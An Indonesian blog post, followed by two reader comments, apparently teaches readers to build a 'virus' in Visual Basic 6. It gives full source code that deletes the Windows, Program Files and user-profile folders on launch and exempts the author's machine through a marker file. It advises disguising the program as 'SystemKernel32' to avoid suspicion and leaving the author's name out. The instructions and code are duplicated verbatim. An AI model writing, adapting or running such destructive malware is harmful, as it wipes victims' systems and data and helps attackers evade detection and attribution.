Kali ini ACi mencoba berbagi dengan sobat-sobat semua yang doyan sama VIRUS, loh virus kok doyan ...he..he..he.....maksudnya disini cuma sekedar pembelajaran ya... iseng-iseng bagi-bagi sedikit pengetahuan.
OK langsung saja kita ke rumah saya .....kok kerumah saya......ngawur..!!!
Virus ini cukup mematikan, tapi simple, dan sepertinya tidak akan terdekteksi antivirus, soalnya cara kerjanya simple.
Yang diperlukan:
1. VB(optimal : 6.0)
2. Paham tombol-tombolnya VB
Yang diperlukan:
1. VB(optimal : 6.0)
2. Paham tombol-tombolnya VB
Tutorial Bikin Virus cuma 1 menit
1. buat form sekecil mungkin
2. didalam form itu, masukin kode di bawah ini
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.Kode yg warna biru itu penangkal virus, barang kali anda tidak sengaja tekan jadi anda selamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, anda tidak akan keserang sendiri… bisa anda edit koq jadi apa gitu…
Yang warna merah itu folder yang akan didelete sama virus ini, anda edit sendiri
4. Buat project ini namanya seperti nama system, disini aku pakai nama “SystemKernel32″ jadi tidak bakal dicurigai
5. Jangan pernah letakan namamu di virus ini…
6. compile it.... dan selesai....
1. buat form sekecil mungkin
2. didalam form itu, masukin kode di bawah ini
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.Kode yg warna biru itu penangkal virus, barang kali anda tidak sengaja tekan jadi anda selamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, anda tidak akan keserang sendiri… bisa anda edit koq jadi apa gitu…
Yang warna merah itu folder yang akan didelete sama virus ini, anda edit sendiri
4. Buat project ini namanya seperti nama system, disini aku pakai nama “SystemKernel32″ jadi tidak bakal dicurigai
5. Jangan pernah letakan namamu di virus ini…
6. compile it.... dan selesai....
2 komentar :
Error cuy...
stlh di compile ada yg error
apakah tipe data setelah dim ?
matiin system. hahaha.. love it. :D
Ayo...mau bilang apa?